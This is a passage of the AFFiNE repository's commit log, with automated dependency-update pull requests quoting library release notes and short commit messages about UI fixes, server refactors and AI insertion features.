<summary> 10 PRs were merged </summary>

-   [#&#8203;4240](https://redirect.github.com/graphql/graphql-js/pull/4240) Convert from docusaurus to nextra ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4248](https://redirect.github.com/graphql/graphql-js/pull/4248) Add content from [https://github.com/graphql/graphql.github.io/pull/1782](https://redirect.github.com/graphql/graphql.github.io/pull/1782) ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4249](https://redirect.github.com/graphql/graphql-js/pull/4249) Styling fixes ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4256](https://redirect.github.com/graphql/graphql-js/pull/4256) Various fixes to docs ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4279](https://redirect.github.com/graphql/graphql-js/pull/4279) Solve some low hanging fruit in the documentation ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4283](https://redirect.github.com/graphql/graphql-js/pull/4283) Add overview page and add stackblitz to tutorial ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4284](https://redirect.github.com/graphql/graphql-js/pull/4284) Provide people with tabs so they can use classes as well ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4289](https://redirect.github.com/graphql/graphql-js/pull/4289) Add note about defer/stream being v17 ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4290](https://redirect.github.com/graphql/graphql-js/pull/4290) Write about `@oneOf` in the graphql-js documentation ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4295](https://redirect.github.com/graphql/graphql-js/pull/4295) Split up in v16 API documentation ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

</details>

##### Internal 🏠
<details>
<summary> 4 PRs were merged </summary>

-   [#&#8203;4138](https://redirect.github.com/graphql/graphql-js/pull/4138) Upgrade codecov action and pass token ([@&#8203;benjie](https://redirect.github.com/benjie))
-   [#&#8203;4139](https://redirect.github.com/graphql/graphql-js/pull/4139) Fix codecov workflow ([@&#8203;benjie](https://redirect.github.com/benjie))
-   [#&#8203;4157](https://redirect.github.com/graphql/graphql-js/pull/4157) Add GraphQLConf 2024 banner ([@&#8203;bignimbus](https://redirect.github.com/bignimbus))
-   [#&#8203;4193](https://redirect.github.com/graphql/graphql-js/pull/4193) Upgrade deprecated actions ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

</details>

##### Committers: 5
* Benjie([@&#8203;benjie](https://redirect.github.com/benjie))
* Jeff Auriemma([@&#8203;bignimbus](https://redirect.github.com/bignimbus))
* Jovi De Croock([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
* Sachin D. Shinde([@&#8203;sachindshinde](https://redirect.github.com/sachindshinde))
* tpoisseau([@&#8203;tpoisseau](https://redirect.github.com/tpoisseau))

</details>

<details>
<summary>jakearchibald/idb (idb)</summary>

### [`v8.0.1`](https://redirect.github.com/jakearchibald/idb/compare/v8.0.0...v8.0.1)

[Compare Source](https://redirect.github.com/jakearchibald/idb/compare/v8.0.0...v8.0.1)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.4`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.4)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.3...v15.0.4)

##### Bug Fixes

-   fix list with no items looping forever ([#&#8203;3560](https://redirect.github.com/markedjs/marked/issues/3560)) ([e4198ed](https://redirect.github.com/markedjs/marked/commit/e4198ed70dce5a361901c009299b566541fc628e))

</details>

<details>
<summary>mswjs/msw (msw)</summary>

### [`v2.6.9`](https://redirect.github.com/mswjs/msw/releases/tag/v2.6.9)

[Compare Source](https://redirect.github.com/mswjs/msw/compare/v2.6.8...v2.6.9)

#### v2.6.9 (2024-12-16)

##### Bug Fixes

-   support `SharedArrayBuffer` in `HttpResponse.arrayBuffer` ([#&#8203;2389](https://redirect.github.com/mswjs/msw/issues/2389)) ([`41f00e1`](https://redirect.github.com/mswjs/msw/commit/41f00e1a67e21010ab9c1a46c8e92193b655f24a)) [@&#8203;danilofuchs](https://redirect.github.com/danilofuchs) [@&#8203;kettanaito](https://redirect.github.com/kettanaito)

</details>

<details>
<summary>remy/nodemon (nodemon)</summary>

### [`v3.1.9`](https://redirect.github.com/remy/nodemon/releases/tag/v3.1.9)

[Compare Source](https://redirect.github.com/remy/nodemon/compare/v3.1.8...v3.1.9)

##### Bug Fixes

-   maintain backward support for `exitcrash` ([9c9de6e](https://redirect.github.com/remy/nodemon/commit/9c9de6eb075c62650145bfebfac3680923f172d6))

### [`v3.1.8`](https://redirect.github.com/remy/nodemon/releases/tag/v3.1.8)

[Compare Source](https://redirect.github.com/remy/nodemon/compare/v3.1.7...v3.1.8)

##### Bug Fixes

-   types updated ([cb91187](https://redirect.github.com/remy/nodemon/commit/cb91187ef6243d76d9fb641af7acd2a5fbd1e406))

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.76.3`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4763-2024-12-13)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.76.2...v4.76.3)

Full Changelog: [v4.76.2...v4.76.3](https://redirect.github.com/openai/openai-node/compare/v4.76.2...v4.76.3)

##### Chores

-   **internal:** better ecosystem test debugging ([86fc0a8](https://redirect.github.com/openai/openai-node/commit/86fc0a81ede2780d3fcebaabff3d9fa9a36cc9c0))

##### Documentation

-   **README:** fix helpers section links ([#&#8203;1224](https://redirect.github.com/openai/openai-node/issues/1224)) ([efbe30a](https://redirect.github.com/openai/openai-node/commit/efbe30a156cec1836d3db28f663066b33be57ba2))

</details>

<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>

### [`v9.4.4`](https://redirect.github.com/gpbl/react-day-picker/releases/tag/v9.4.4)

[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.3...v9.4.4)

This release fixes an issue with the month names in the Jalali calendar.

#### What's Changed

-   fix(jalali): defaults calendar to `faIR` locale and RTL direction by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2624](https://redirect.github.com/gpbl/react-day-picker/pull/2624)

**Full Changelog**: https://github.com/gpbl/react-day-picker/compare/v9.4.3...v9.4.4

</details>

<details>
<summary>webpack-contrib/terser-webpack-plugin (terser-webpack-plugin)</summary>

### [`v5.3.11`](https://redirect.github.com/webpack-contrib/terser-webpack-plugin/blob/HEAD/CHANGELOG.md#5311-2024-12-13)

[Compare Source](https://redirect.github.com/webpack-contrib/terser-webpack-plugin/compare/v5.3.10...v5.3.11)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.5`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0275-2024-12-14)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.4...v0.27.5)

##### Bug Fixes

-   Possibly Breaking: TypeDoc will no longer render anchors within the page for
    deeply nested properties. This only affects links to properties of
    properties of types, which did not have a clickable link exposed so are
    unlikely to have been linked to. Furthermore, these links were not always
    created by TypeDoc, only being created if all parent properties contained
    comments, [#&#8203;2808](https://redirect.github.com/TypeStrong/TypeDoc/issues/2808).
-   TypeDoc will now warn if a property which does not have a URL within the
    rendered document and the parent property/page will be linked to instead,
    [#&#8203;2808](https://redirect.github.com/TypeStrong/TypeDoc/issues/2808). These warnings can be disabled with the `validation.rewrittenLink`
    option.
-   Fix restoration of groups/categories including documents, [#&#8203;2801](https://redirect.github.com/TypeStrong/TypeDoc/issues/2801).
-   Fixed missed relative paths within markdown link references in documents.
-   Improved handling of incomplete inline code blocks within markdown.
-   Direct `https://` links under the `hostedBaseUrl` option's URL will no
    longer be treated as external, [#&#8203;2809](https://redirect.github.com/TypeStrong/TypeDoc/issues/2809).

##### Thanks!

-   [@&#8203;SacDeNoeuds](https://redirect.github.com/SacDeNoeuds)

</details>

<details>
<summary>emilkowalski/vaul (vaul)</summary>

### [`v1.1.2`](https://redirect.github.com/emilkowalski/vaul/releases/tag/v1.1.2)

[Compare Source](https://redirect.github.com/emilkowalski/vaul/compare/v1.1.1...v1.1.2)

#### What's Changed

-   fix: update peer deps for react and react-dom by [@&#8203;shadcn](https://redirect.github.com/shadcn) in [https://github.com/emilkowalski/vaul/pull/504](https://redirect.github.com/emilkowalski/vaul/pull/504)
-   fix: nested drawer onOpenChange issue by [@&#8203;chrism](https://redirect.github.com/chrism) in [https://github.com/emilkowalski/vaul/pull/516](https://redirect.github.com/emilkowalski/vaul/pull/516)

#### New Contributors

-   [@&#8203;chrism](https://redirect.github.com/chrism) made their first contribution in [https://github.com/emilkowalski/vaul/pull/516](https://redirect.github.com/emilkowalski/vaul/pull/516)

**Full Changelog**: https://github.com/emilkowalski/vaul/compare/v1.1.1...v1.1.2

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNjkuMyIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-16 13:03:46 +00:00
pengx17 7b0387541c fix(core): redudant drop target register (#9177)
fix the following issue.
root cause is that options.element is being reused when cleaning up, but if its value comes from a ref, it might be null at that point.

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/1739c4e0-9ba8-4e27-8944-c6022644b40d.png)
2024-12-16 10:23:31 +00:00
akumatus 2f79104bdb feat(core): support ai insert image, mindmap, slides and make it real in page mode (#9164)
Support issue [BS-2085](https://linear.app/affine-design/issue/BS-2085).

### What changed?
- Refactor the `actionToAnswerRenderer` function to support reuse in both page mode and edgeless mode.
- Add a new `page-response.ts` module to handle AI-generated answers in page mode.
    - Remove the redundant `edgelessHandler` function from `_common/config.ts`.
- Introduce the `AIContext` class along with the `ctx` TypeScript type to standardize context management.
- Implement the `createTemplateJob` function to enable AI slide insertion in both page mode and edgeless mode.

Insert mindmap on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/30630d3e-ebd9-416b-9bb9-5f27086e48a3.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/30630d3e-ebd9-416b-9bb9-5f27086e48a3.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/30630d3e-ebd9-416b-9bb9-5f27086e48a3.mov">mindmap.mov</video>

Insert image on edgeless note
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/b850ee5a-a06b-4ae7-8b68-ed5929a6e81a.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/b850ee5a-a06b-4ae7-8b68-ed5929a6e81a.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/b850ee5a-a06b-4ae7-8b68-ed5929a6e81a.mov">image3.mov</video>

Insert image on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/c4f98e2d-0b15-4310-b3e0-0725e330302b.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/c4f98e2d-0b15-4310-b3e0-0725e330302b.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/c4f98e2d-0b15-4310-b3e0-0725e330302b.mov">image.mov</video>

Generate image from image:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/2776a55f-cbb7-47ce-8e7d-7cae243fa3e9.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/2776a55f-cbb7-47ce-8e7d-7cae243fa3e9.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/2776a55f-cbb7-47ce-8e7d-7cae243fa3e9.mov">image2.mov</video>

Insert presentation on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/4e228fa5-88f4-478c-8b79-647612d5515c.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/4e228fa5-88f4-478c-8b79-647612d5515c.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/4e228fa5-88f4-478c-8b79-647612d5515c.mov">ppt.mov</video>

Insert make it real on page mode:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/c71139b2-fb55-4d89-84e2-d52eeb905b57.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/c71139b2-fb55-4d89-84e2-d52eeb905b57.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/c71139b2-fb55-4d89-84e2-d52eeb905b57.mov">make it real.mov</video>
2024-12-16 10:04:16 +00:00
CatsJuice e6bf4ca6e5 chore(core): use flexbox to stretch editor height (#9174) 2024-12-16 09:49:12 +00:00
darkskygit 5cc40114fc fix(server): unsplash path mapping (#9159) 2024-12-16 09:35:18 +00:00
EYHN 9a66c97f52 feat(ios): add some apis for native (#9173) 2024-12-16 09:18:39 +00:00
forehalo 83618e38a2 chore(server): cleanup team impl (#9171) 2024-12-16 08:41:11 +00:00
darkskygit de2dab32c0 feat(server): always send invite email (#9168)
fix AF-1976
2024-12-16 04:45:12 +00:00
CatsJuice 87bbcae5e2 fix(component): mobile toast dark mode (#9142) 2024-12-16 04:31:12 +00:00
CatsJuice 729c37977e chore(component): update button and input border color (#9141) 2024-12-16 04:16:49 +00:00
fundon 0945381d7b chore: improve links test cases (#9148) 2024-12-16 04:03:06 +00:00
pengx17 0db6dd2f62 fix(mobile): doc info title max width (#9147)
fix AF-1925
2024-12-16 03:44:18 +00:00
pengx17 7b173a68d5 fix(mobile): hide scrollbar (#9144)
fix AF-1934
2024-12-16 03:44:17 +00:00
pengx17 a84a40e777 fix(mobile): date picker style (#9143)
fix AF-1871
2024-12-16 03:44:16 +00:00
JimmFly 8eafc057fa fix(core): handle errors on the invite page (#9167)
close AF-1975
2024-12-16 03:30:19 +00:00
Brooooooklyn aaaea8918f chore: upgrade to eslint9 (#9163) 2024-12-14 10:29:04 +00:00
Brooooooklyn f49bef4915 chore: remove eslint-plugin-unused-imports (#9160)
`no-unused-vars` is enough
2024-12-13 14:49:13 +00:00
renovate 60080d58f3 chore: Lock file maintenance (#9067)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 13:04:06 +00:00
doodlewind edd169720b chore(server): update env example and docs (#9153) 2024-12-13 11:04:08 +00:00
Brooooooklyn ea746e3d77 chore: disable rules in oxlint (#9154) 2024-12-13 10:49:35 +00:00
darkskygit 2452ccd1e5 fix(server): copilot ci (#9151) 2024-12-13 09:59:06 +00:00
JimmFly 0de7782c9b fix(core): should log in before accepting the invitation (#9150) 2024-12-13 09:44:32 +00:00
Peng Xiao 293a155977 chore(electron): bump electron (#9152) 2024-12-13 09:44:00 +00:00
Brooooooklyn 055abf6040 chore: refresh dependencies by yarn upgrade-interactive (#9139) 2024-12-13 08:08:06 +00:00
CatsJuice 133f21b9ca fix(mobile): tag and detail page dark mode adaption (#9145) 2024-12-13 07:55:07 +00:00
CatsJuice 6f6f95a8b0 feat(mobile): use mobile fallback for index, open home when workspace changed (#9106) 2024-12-13 07:41:06 +00:00
CatsJuice 974c6de1d2 chore(mobile): adjust app tab border width (#9122) 2024-12-13 07:27:04 +00:00
CatsJuice 300efa64ec chore(mobile): adjust search back button and title style (#9125)
close AF-1827, AF-1826
2024-12-13 07:12:09 +00:00
renovate 7c2f0064ae chore: bump up @blocksuite/affine version to v0.19.0 (#9140)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.7` -> `0.19.0`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.7/0.19.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.7/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.7/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.0`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0190)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.7...v0.19.0)

##### Minor Changes

-   [`d7ec057`](https://redirect.github.com/toeverything/blocksuite/commit/d7ec057): Blocksuite minor release.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 06:58:42 +00:00
darkskygit 994e4c5bc1 feat(server): seat calc follow member count (#9138) 2024-12-13 06:44:05 +00:00
forehalo 0e73737407 refactor(server): make redis required module (#9121) 2024-12-13 06:27:15 +00:00
forehalo 81c68032e1 refactor(server): standalone runtime module (#9120) 2024-12-13 06:27:14 +00:00
forehalo 4c23991047 chore: rename fundamentals to base (#9119) 2024-12-13 06:27:13 +00:00
forehalo 8c24f2b906 feat(nbstore): add sqlite implementation (#8811) 2024-12-13 06:13:05 +00:00
Brooooooklyn 932e1da7f3 ci: postUpgradeTasks is only allowed on self-hosted renovate (#9137) 2024-12-13 04:19:07 +00:00
renovate 97f15709d2 chore: bump up all non-major dependencies (#9136)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@radix-ui/react-accordion](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-accordion/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-accordion/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-accordion/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-accordion/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-accordion/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-alert-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-alert-dialog/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-alert-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-alert-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-alert-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-alert-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-aspect-ratio](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-aspect-ratio/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-aspect-ratio/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-aspect-ratio/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-aspect-ratio/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-aspect-ratio/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-avatar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-avatar/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-avatar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-avatar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-avatar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-avatar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-checkbox](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-checkbox/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-checkbox/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-checkbox/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-checkbox/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-checkbox/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-collapsible](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-collapsible/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-collapsible/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-collapsible/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-collapsible/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-collapsible/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-context-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.2.2` -> `2.2.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-context-menu/2.2.2/2.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-context-menu/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-context-menu/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-context-menu/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-context-menu/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dialog/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-dropdown-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.2` -> `2.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dropdown-menu/2.1.2/2.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dropdown-menu/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dropdown-menu/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dropdown-menu/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dropdown-menu/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
